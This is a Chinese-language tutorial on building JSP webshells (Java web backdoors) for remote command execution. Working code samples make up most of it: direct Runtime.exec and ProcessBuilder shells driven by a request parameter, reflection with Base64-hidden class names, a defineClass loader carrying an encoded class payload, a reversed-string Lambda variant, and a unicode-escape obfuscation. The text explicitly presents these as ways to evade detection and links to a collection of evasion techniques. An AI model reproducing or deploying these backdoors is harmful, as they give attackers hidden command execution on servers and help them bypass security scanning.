0x00 基础
JSP
JSP全称为JavaServer Pages,是一种用于开发支持动态内容的Web页面的技术。它有助于开发人员通过使用特殊的JSP标记在HTML页面中插入Java代码,其中大多数以<%开头,以%>结尾。Java是一种通用的计算机编程语言,它是并发的,基于类的,面向对象的,并且专门设计为具有尽可能少的实现依赖性。而JSP是一种技术,可帮助软件开发人员基于HTML,XML或其他文档类型创建动态生成的Web页面。
JSPX
jspx其实就是xml格式的jsp文件
jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式
Java Web 后门
Java Web 是很多大型厂商的选择,也正是因为如此,Java Web 的安全问题日益得到重视,JSP Webshell 就是其中之一。最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型语言,语言特性较为严格,不能够像 PHP 那 样利用字符串组合当作系统函数使用,但即便如此,随着安全人员的进一步研究, 依旧出现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门
0x01 函数调用
与 PHP 中的命令执行函数 system() 和 eval() 类似,Java 中也存在命令执行函 数,其中使用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start(), 通过调用这两个函数,可以编写简单的 Java Web 后门。
直接调用
无回显:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
有回显:
java.lang.Runtime.exec()
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%
// 获取Runtime对象
Runtime runtime = Runtime.getRuntime();
// 执行系统命令
Process process = runtime.exec("whoami");
//Process process = runtime.exec(request.getParameter("cmd"));
// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
%>
java.lang.ProcessBuilder.start()
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%
try {
// 创建一个ProcessBuilder对象,并设置要执行的命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
//ProcessBuilder processBuilder = new ProcessBuilder("whoami","/priv");
// 启动进程
Process process = processBuilder.start();
// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
// 等待命令执行完成
int exitCode = process.waitFor();
//out.println("命令执行完成,退出码:" + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
%>
反射调用
不直接使用类名调用方法的方式去构造后门, 而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用各种变形(此处利用的是 Base64 编码)来达到对恶意类或函数隐藏的目的:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
// 执行系统命令
Process process = (Process) object;
// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
%>
字节码
由于反射可以直接调用各种私有类方法,导致了利用反射编写的后门层出不穷,其中最有代表性的就是通过加载字节码编写的后门,这种后门使服务端动态地将字节码解析成 Class,这样一来就可以达到“一句话木马”的效果
javac字节码生成:
这种方式简单的说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。
shell.java:
package com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
return s;
}
}
shell.class --> base64编码
package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel = null;
FileInputStream in = null;
in = new FileInputStream("C:\\java\\com\\demo\\Shell.class");
fileChannel = in.getChannel();
ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
自定义classloader:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, "calc");
%>
更多加载字节码的方式参考:
https://tttang.com/archive/1739/
0x02 JDK特性
JDK 全称为 Java Development Kit,是 Java 开发环境。我们通常所说的 JDK 指 的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。从 JDK 诞生至今,每个版本都有不同的特性, 利用这些特性可以编写出不同类型的 Java Web 后门。
这里展示利用 Lambda 表达式编写的 JSP 一句话木马。
Lambda表达式是Java 8引入的一种函数式编程特性。它提供了一种更简洁、更灵活的方式来编写匿名函数。
Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中)。利用这个特性我们可以操作类名,从而达到躲避检测的目的。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.function.Function" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.stream.Collectors" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Collections" %>
<%@ page import="java.util.ArrayList" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
// 定义一个字符串数组,其中包含一个元素 "redliuBssecorP.gnal.avaj"
String[] planets = new String[] { "redliuBssecorP.gnal.avaj" };
// 使用Java 8的流式编程方式将字符串数组中的元素进行反转
Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse().toString());
// 将字符串数组转换为字符串,并去除其中的方括号 '[' 和 ']'
String name = Arrays.toString(planets).replace("[","").replace("]","");
// 定义两个字符串变量,一个是 "start",另一个是通过请求参数获取到的 "pw" 值
String st = "start";
String pw = request.getParameter("pw");
// 使用反射获取 Class 对象,该对象对应于指定的类名(name变量)
Class cls = Class.forName(name);
// 使用反射创建一个对象,调用该类的构造方法,并传入一个 List 对象作为参数
Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));
// 使用反射获取指定方法名(st变量)对应的 Method 对象
Method startCmd = cls.getMethod(st);
// 使用反射调用方法,传入创建的对象作为调用者,并获取返回的结果
Process process = (Process)startCmd.invoke(obj);
// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
// 在页面上打印输出结果的起始标签
out.print("<pre>");
// 逐行读取命令的输出,并将每一行输出到页面上
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
// 在页面上打印输出结果的结束标签
out.print("</pre>");
%>
运行环境需要java 8 + tomcat9 以上的版本
0x03 编码
jsp支持unicode编码
将代码(除page以及标签)进行unicode编码,并添加到<%%>标签中,即可执行webshell
在线unicode编码转换:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行
注意这里的\uuuu00可以换成\uuuu00uuu…可以跟多个u达到绕过的效果
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>
学习更多
java免杀合集:
https://tttang.com/archive/1739/